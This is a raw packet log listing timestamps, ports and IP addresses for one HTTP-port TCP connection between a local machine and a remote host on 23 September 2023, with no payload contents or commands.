Sep 23, 2023 17:53:35.631052017 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.631086111 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.631128073 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.631165981 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.631210089 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.631247997 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.631298065 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.631336927 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.631360054 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.631395102 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.631431103 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.631467104 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.631493092 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.631530046 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.631572008 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.631606102 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.631614923 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.631640911 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.631683111 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.631720066 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.631742954 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.631778955 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.631822109 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.631865978 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.631908894 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.631943941 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.631962061 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.631978989 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.631999016 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.632019043 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.632059097 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.632096052 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.632098913 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.632133007 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.632174969 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.632214069 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.632267952 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.632311106 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.632317066 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.632350922 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.632392883 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.632426023 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.632430077 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.632467031 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.632632971 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.632672071 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.632695913 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.632733107 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.632756948 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.632792950 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.632811069 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.632846117 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.632864952 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.632899046 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.632921934 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.632958889 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.633007050 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.633038044 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.633044958 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.633081913 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.633122921 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.633161068 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.633203983 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.633245945 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.633270025 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.633362055 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.633397102 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.633399010 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.633436918 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.633460045 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.633495092 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.633543015 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.633579969 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.633605003 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.633641958 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.633816004 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.633857012 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.633861065 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.633896112 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.633914948 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.633950949 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.633994102 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.634037018 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.634042025 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.634089947 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.634104013 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.634140968 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.634149075 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.634183884 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.634207964 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.634246111 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.634268999 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.634305954 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.634347916 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.634386063 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.634393930 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.634429932 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.634471893 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.634507895 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.634511948 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.634546995 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.634568930 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.634603024 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.634643078 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.634679079 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.634685993 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.634721041 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.634769917 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.634812117 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.634855986 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.634870052 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.634906054 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.634963989 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.634980917 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.634999037 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.635018110 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.635061026 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.635077000 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.635098934 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.635124922 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.635152102 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.635189056 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.635237932 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.635273933 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.635317087 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.635350943 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.635377884 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.635392904 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.635421991 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.635457039 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.635462046 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.635494947 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.635539055 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.635555029 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.635577917 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.635597944 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.635639906 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.635674953 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.635716915 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.635761976 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.635776997 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.635812998 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.635899067 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.635935068 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.635977983 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.636017084 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.636033058 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.636079073 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.636157990 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.636208057 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.636234045 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.636249065 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.636296034 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.636344910 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.636351109 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.636380911 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.636389017 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.636416912 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.636461973 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.636502028 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.636579990 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.636617899 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.636667013 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.636703968 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.636873007 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.636888981 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.636924982 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.636940002 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.636986971 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.637022972 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.637037039 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.637090921 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.637115002 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.637160063 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.637178898 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.637217045 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.637240887 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.637284994 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.637285948 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.637330055 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.637345076 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.637384892 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.637402058 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.637444019 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.637512922 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.637548923 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.637592077 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.637608051 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.637629032 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.637650967 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.637718916 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.637759924 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.637763023 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.637797117 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.637825012 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.637849092 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.637871981 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.637886047 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.637927055 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.638011932 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.638050079 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.638211012 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.638258934 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.638273954 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.638323069 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.638338089 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.638375998 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.638396978 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.638437033 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.638695002 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.638714075 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.638751984 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.638777971 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.638823986 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.638840914 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.638873100 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.638915062 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.638955116 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.638958931 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.638993979 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.638995886 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.639029980 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.639075041 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.639111042 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.639111996 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.639147043 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.639184952 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.639221907 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.639250040 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.639291048 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.639293909 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.639333963 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.639349937 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.639405966 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.639461040 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.639498949 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.639543056 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.639581919 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.639597893 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.639632940 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.639676094 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.639710903 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.639754057 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.639770985 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.639791965 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.639807940 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.639836073 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.639869928 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.639873028 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.639904022 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.639945030 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.639982939 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.639986038 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.640022039 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.640070915 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.640105009 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.640124083 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.640161991 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.641424894 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.642605066 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.890583992 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.890638113 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.890727043 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.890765905 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.890813112 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.890855074 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.890860081 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.890902996 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.891411066 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.891448975 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.891530991 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.891568899 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.891638994 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.891678095 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.891864061 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.891906023 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.891921043 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.891961098 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.891971111 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.892008066 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.892400026 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.892438889 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.892455101 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.892513037 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.892515898 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.892558098 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.892565012 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.892601013 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.892652035 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.892714977 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.892754078 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.892793894 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.892832041 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.892870903 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.892879963 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.892916918 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.892960072 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.892997980 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.893086910 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.893131018 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.893167973 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.893213034 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.893233061 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.893263102 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.893273115 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.893301010 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.893517017 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.893563032 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.893587112 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.893627882 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.893665075 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.893702030 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.893703938 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.893738985 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.893763065 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.893801928 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.894033909 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.894074917 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.894085884 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.894114017 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.894460917 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.894474983 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.894509077 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.894521952 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.894526958 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.894575119 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.895041943 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.895059109 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.895075083 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.895083904 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.895091057 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.895102024 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.895114899 CEST	80	49827	77.91.68.78	192.168.2.4
